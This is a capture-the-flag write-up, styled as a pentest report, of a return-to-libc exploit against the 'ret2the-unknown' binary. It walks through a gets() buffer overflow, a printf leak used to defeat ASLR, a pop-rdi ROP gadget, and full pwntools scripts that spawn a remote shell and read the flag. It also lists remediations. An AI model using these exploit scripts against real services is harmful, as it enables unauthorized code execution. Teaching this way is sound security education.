Ret2The-Unknown

Return-to-libc attack with ASLR

0xd4y

July 31, 2021

0xd4y Writeups

LinkedIn: https://www.linkedin.com/in/segev-eliezer/

Email: 0xd4yWriteups@gmail.com

Web: https://0xd4y.github.io/

Table of Contents

Executive Summary

The utilization of the insecure `gets()` function resulted in a buffer overflow vulnerability. This security hole was exploited to execute arbitrary code despite the enabled NX bit via a return-to-libc attack. The deprecated `gets()` function should be replaced with the more secure `fgets()` alternative to prevent the attack mentioned in this report. It is highly suggested that the process running on port 31568 be terminated as soon as possible until the remediations outlined in the Conclusion section are followed.

Attack Narrative

The destination and port on which this binary is running were given:

Destination	Port
mc.ax	31568

Additionally, the source code and libc file used by the binary were provided.

Binary Analysis

Source Code

```c
#include <stdio.h>
#include <string.h>

int main(void)
{
  char your_reassuring_and_comforting_we_will_arrive_safely_in_libc[32];

  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  setbuf(stderr, NULL);

  puts("that board meeting was a *smashing* success! rob loved the
challenge!");
  puts("in fact, he loved it so much he sponsored me a business trip to
this place called 'libc'...");
  puts("where is this place? can you help me get there safely?");

  // please i cant afford the medical bills if we crash and segfault
  gets(your_reassuring_and_comforting_we_will_arrive_safely_in_libc);

  puts("phew, good to know. shoot! i forgot!");
  printf("rob said i'd need this to get there: %llx\n", printf);
  puts("good luck!");
```

```
}
```

At the top of the file, 32 bytes were allocated to the `your_reassuring_and_comforting_we_will_arrive_safely_in_libc` buffer (for the sake of shortening this name, this buffer is called `input_buffer` throughout this report). After initializing `input_buffer`, a series of three `setbuf()` calls are run, a function which controls the way a stream is buffered. Additionally, this function can control the size of the buffer, however due to the fact that the buffer argument is `NULL`, the stream is unbuffered[1]. Following the `setbuf()` calls is a succession of three `puts()` calls before the insecure `gets()` function is run with `input_buffer` as the argument. After providing an input, the `printf()` function is called which prints out the address of printf in memory.

Behavior

Looking at the security of the binary with the `checksec` command, it is found that the NX bit of the binary is enabled:

```
┌──[✗]──[0xd4y@Writeup]──[~/business/ctf/redpwn/pwn/ret2the-unknown]
└──╼ $checksec ret2the-unknown
[*] '/home/0xd4y/business/ctf/redpwn/pwn/ret2the-unknown/ret2the-unknown'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

Note that this binary is 64-bit in little endianness

Therefore, the RIP cannot simply be overwritten to point to shellcode. However, the instruction pointer can easily be overwritten due to the lack of a stack canary. Furthermore, there is no PIE (Position Independent Executables) which means that the libc base can be calculated by finding the offset of the executables (this is examined in detail in the Finding Base Libc Address section). This element is essential to the success of return-to-libc attacks.

When executing the binary, user input can be provided after the “safely?” string:

[1] https://www.ibm.com/docs/en/i/7.3?topic=functions-setbuf-control-buffering

```
┌──[0xd4y@Writeup]─[~/business/ctf/redpwn/pwn/ret2the-unknown]
└─── $./ret2the-unknown
that board meeting was a *smashing* success! rob loved the challenge!
in fact, he loved it so much he sponsored me a business trip to this place
called 'libc'...
where is this place? can you help me get there safely?
test_string
phew, good to know. shoot! i forgot!
rob said i'd need this to get there: 7f8c6accfcf0
good luck!
```

Only after providing an input, the binary printed out the address of `printf()`. However, this address changes with each new execution of the binary:

```
┌──[✗]──[0xd4y@Writeup]──[~/business/ctf/redpwn/pwn/ret2the-unknown]
└─── $./ret2the-unknown
that board meeting was a *smashing* success! rob loved the challenge!
in fact, he loved it so much he sponsored me a business trip to this place
called 'libc'...
where is this place? can you help me get there safely?
a
phew, good to know. shoot! i forgot!
rob said i'd need this to get there: 7fd495f67cf0
good luck!
┌──[0xd4y@Writeup]─[~/business/ctf/redpwn/pwn/ret2the-unknown]
└─── $./ret2the-unknown
that board meeting was a *smashing* success! rob loved the challenge!
in fact, he loved it so much he sponsored me a business trip to this place
called 'libc'...
where is this place? can you help me get there safely?
b
phew, good to know. shoot! i forgot!
rob said i'd need this to get there: 7fb847d38cf0
good luck!
┌──[0xd4y@Writeup]─[~/business/ctf/redpwn/pwn/ret2the-unknown]
└─── $./ret2the-unknown
that board meeting was a *smashing* success! rob loved the challenge!
in fact, he loved it so much he sponsored me a business trip to this place
called 'libc'...
where is this place? can you help me get there safely?
```

```
c
phew, good to know. shoot! i forgot!
rob said i'd need this to get there: 7fac5a1c8cf0
good luck!
```

The printf() address is shown in red

This change is evidence of the existence of ASLR (address space layout randomization), which is a security feature to help prevent memory corruption vulnerabilities. Therefore, the base address of libc cannot be easily calculated by subtracting the address of printf in the previous execution of the binary by the printf symbol in the given libc file.

Exploit Construction

GDB

Thus, to correctly calculate the libc base address, it is essential to overwrite RIP to point to `main()` so that the binary allows us to input a second payload (this time with the knowledge of the printf address). First, the offset of RIP must be calculated:

```
┌──[0xd4y@Writeup]─[~/business/ctf/redpwn/pwn/ret2the-unknown]
└─────$ $gdb ./ret2the-unknown -q
pwndbg: loaded 196 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./ret2the-unknown...
(No debugging symbols found in ./ret2the-unknown)
pwndbg> r < <(cyclic 100)
Starting program:
/home/0xd4y/business/ctf/redpwn/pwn/ret2the-unknown/ret2the-unknown <
<(cyclic 100)
that board meeting was a *smashing* success! rob loved the challenge!
in fact, he loved it so much he sponsored me a business trip to this place
called 'libc'...
where is this place? can you help me get there safely?
phew, good to know. shoot! i forgot!
rob said i'd need this to get there: 7ffff7e44cf0
good luck!

Program received signal SIGSEGV, Segmentation fault.
```

```
──────────────────────────────────────────────────────────[ DISASM
]──────────────────────────────────────────────────────────
 ▶ 0x401237 <main+177>    ret    <0x6161616c6161616b>

──────────────────────────────────────────────────────────[ STACK
]──────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffde38 ◂--
'kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
01:0008│     0x7fffffffde40 ◂--
'maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
02:0010│     0x7fffffffde48 ◂--
'oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
03:0018│     0x7fffffffde50 ◂-- 'qaaaraaasaaataaauaaavaaawaaaxaaayaaa'
04:0020│     0x7fffffffde58 ◂-- 'saaataaauaaavaaawaaaxaaayaaa'
05:0028│     0x7fffffffde60 ◂-- 'uaaavaaawaaaxaaayaaa'
06:0030│     0x7fffffffde68 ◂-- 'waaaxaaayaaa'
07:0038│     0x7fffffffde70 ◂-- 0x61616179 /* 'yaaa' */
──────────────────────────────────────────────────────────[ BACKTRACE
]──────────────────────────────────────────────────────────
 ▶ f 0         0x401237 main+177
   f 1 0x6161616c6161616b
   f 2 0x6161616e6161616d
   f 3 0x616161706161616f
   f 4 0x6161617261616171
   f 5 0x6161617461616173
   f 6 0x6161617661616175
   f 7 0x6161617861616177
──────────────────────────────────────────────────────────────────────────────
──────────────────────────────────────────────

pwndbg> cyclic -l 0x6161616b
40
```

The program received a segmentation fault error, and the offset of RIP was calculated to be 40 bytes. Therefore, upon inputting 40 junk bytes followed by the address of the main function, the program will repeat. Using the `info functions` GDB command, the address of the main function can be found:

```
0x0000000000401186  main
```

The overall exploit can be summarized into two waves: wave one consists of repeating the main

function and retrieving the printf address, and wave two consists of calling the libc `system()` function with `/bin/sh` as the argument.

PwnTools

Rerunning main()

Using pwntools[2], a python library made for facilitating the process of writing binary exploits, we can create a program (which was named poc.py) to exploit the program:

```
from pwn import *

REMOTE = False

if REMOTE:
    p = remote("mc.ax",31568)
else:
    p = process("./ret2the-unknown")

rip_offset = 40
main = 0x0000000000401186
payload = b'A'*40 + p64(main)

p.recvuntil(b"safely?")
p.sendline(payload)
p.interactive()
```

The code shown above first starts a local process for the binary. Afterwards, the payload is sent and an interactive instance is called to the process:

```
┌──[0xd4y@Writeup]─[~/business/ctf/redpwn/pwn/ret2the-unknown]
└─────$ $python3 poc.py
[+] Starting local process './ret2the-unknown': pid 5749
[*] Switching to interactive mode

phew, good to know. shoot! i forgot!
rob said i'd need this to get there: 7f3f6e089cf0
good luck!
that board meeting was a *smashing* success! rob loved the challenge!
```

[2] https://github.com/Gallopsled/pwntools

```
in fact, he loved it so much he sponsored me a business trip to this place
called 'libc'...
where is this place? can you help me get there safely?
$ test
phew, good to know. shoot! i forgot!
rob said i'd need this to get there: 7f3f6e089cf0
good luck!
[*] Got EOF while reading in interactive
$ thanks!
[*] Process './ret2the-unknown' stopped with exit code -11 (SIGSEGV) (pid
5749)
[*] Got EOF while sending in interactive
Traceback (most recent call last):
  File "/usr/local/lib/python3.9/dist-packages/pwnlib/tubes/process.py",
line 787, in close
    fd.close()
BrokenPipeError: [Errno 32] Broken pipe
```

The main function was successfully called again. Now the printf function address can be retrieved to find the base libc address for the second wave of the exploit.

Finding Base Libc Address

With the knowledge of where the printf function is in memory, the base address of libc can be calculated, and therefore the address of `system()` and location of the `/bin/sh` string can be determined by adding their offsets to the base libc address:

```
from pwn import *

REMOTE = False

if REMOTE:
    p = remote("mc.ax",31568)
else:
    p = process("./ret2the-unknown")

rip_offset = 40
main = 0x0000000000401186

# Wave 1
```

```
## Repeat main function
payload = b'A'*40 + p64(main)
p.recvuntil(b"safely?")
p.sendline(payload)

## Retrieve printf_address
p.recvuntil(b"there: ")
printf_address = p.recvuntil(b"luck!").split(b"\n")[0].decode()

# Wave 2

## Get base libc address
libc = ELF("libc-2.28.so" , checksec = False)
libc.address = int(printf_address,16) - libc.symbols["printf"]

## Get system and bin_sh addresses ready
system = libc.symbols["system"]
bin_sh = next(libc.search(b"/bin/sh"))

log.success(f"libc base found at: {hex(libc.address)}")
log.info(f"system at: {hex(system)}")
log.info(f"/bin/sh at: {hex(bin_sh)}")
p.interactive()
```

Observe the following addresses denoted in red when executing `poc.py`:

```
┌──[0xd4y@Writeup]─[~/business/ctf/redpwn/pwn/ret2the-unknown]
└─────$ $python3 poc.py
[+] Starting local process './ret2the-unknown': pid 7483
[+] libc base found at: 0x7fe5b91a7790
[*] system at: 0x7fe5b91ec150
[*] /bin/sh at: 0x7fe5b9328ca9
[*] Switching to interactive mode

that board meeting was a *smashing* success! rob loved the challenge!
in fact, he loved it so much he sponsored me a business trip to this place
called 'libc'...
where is this place? can you help me get there safely?
$ test
phew, good to know. shoot! i forgot!
```

```
rob said i'd need this to get there: 7fe5b91ffcf0
good luck!
[*] Got EOF while reading in interactive
```

The exact address of `system()` could be calculated due to the known offset of this function being `0x449c0` (which is `0x7fe5b91ec150` - `0x7fe5b91a7790`). Note that this works because PIE is disabled.

Building system("/bin/sh")

After discovering the addresses of the `system()` function and `/bin/sh` string, it follows that the `system("/bin/sh")` call must be built and executed using the aforementioned addresses. To do so, it is important to be able to control the RDI register which is used to pass parameters into functions. The RDI, RSI, RDX, and RCX registers are all used for that purpose, but they function via a hierarchical basis, in which the parameter passed into a function follows that particular order[3]:

```
some_function(parameter1,parameter2,parameter3,parameter4)
```

`parameter1` corresponds to RDI, `parameter2` corresponds to RSI, and so on.

Therefore, to pass `/bin/sh` to `system()`, it is important to pop the RDI register and pass in the desired parameter value. Using the `ROPgadget --binary ret2the-unknown` command, ROP gadgets that perform the desired pop operation can be found with their respective locations in memory:

```
0x00000000004012a3 : pop rdi ; ret
```

Exploit

Using this gadget, the system() call will contain /bin/sh as its argument, and a shell will be returned:

```
from pwn import *
```

[3] https://trustfoundry.net/basic-rop-techniques-and-tricks/

```
REMOTE = True

if REMOTE:
    p = remote("mc.ax",31568)
else:
    p = process("./ret2the-unknown")

rip_offset = 40
main = 0x0000000000401186

# Wave 1

## Repeat main function
payload = b'A'*40 + p64(main)
p.recvuntil(b"safely?")
p.sendline(payload)

# Retrieve printf_address
p.recvuntil(b"there: ")
printf_address = p.recvuntil(b"luck!").split(b"\n")[0].decode()

## Wave 2

# Get base libc address
libc = ELF("libc-2.28.so" , checksec = False)

print(libc.symbols["system"])
libc.address = int(printf_address,16) - libc.symbols["printf"]

# Get system and bin_sh address ready
system = libc.symbols["system"]
bin_sh = next(libc.search(b"/bin/sh"))

log.success(f"libc base found at: {hex(libc.address)}")
log.info(f"system at: {hex(system)}")
log.info(f"/bin/sh at: {hex(bin_sh)}")

# Creating the final payload
pop_rdi = 0x00000000004012a3
payload = b'A'*40 + p64(pop_rdi) + p64(bin_sh) + p64(system)
```

```
p.sendline(payload)
p.interactive()
```

Running the exploit results in the successful return of a shell:

```
┌──[0xd4y@Writeup]─[~/business/ctf/redpwn/pwn/ret2the-unknown]
└─────$ $python3 poc.py
[+] Opening connection to mc.ax on port 31568: Done
281024
[+] libc base found at: 0x7ff17ea82000
[*] system at: 0x7ff17eac69c0
[*] /bin/sh at: 0x7ff17ec03519
[*] Switching to interactive mode

that board meeting was a *smashing* success! rob loved the challenge!
in fact, he loved it so much he sponsored me a business trip to this place
called 'libc'...
where is this place? can you help me get there safely?
phew, good to know. shoot! i forgot!
rob said i'd need this to get there: 7ff17eada560
good luck!
$ id
uid=1000 gid=1000 groups=1000
$ ls
flag.txt
run
$ cat flag.txt
flag{ro[REDACTED]sing}
```

Conclusion

The insecure `gets()` function should never be used due to its lack of boundary checks on user input. This can result in the overwriting of memory that can lead to arbitrary code execution. ASLR and enabling the NX bit are not adequate in the prevention of binary exploitation (however they do help mitigate vulnerabilities). The following remediations should be strongly considered to prevent the attack outlined in this report:

- Replace the `gets()` function with `fgets()`
    - The latter performs boundary checks on user input which mitigates buffer overflow attacks
- Implement PIE
    - Return-to-libc attacks worked by calculating the addresses of the system function and base libc address based on their known offers
    - By enabling PIE, the known offsets between executables cannot be predicted as they change with each new runtime process
- Implement a stack canary
    - The stack canary will mitigate buffer overflow attacks by protecting the return pointer

Port 31568 should be closed immediately until the current binary is replaced with a more secure version that follows the aforementioned remediations.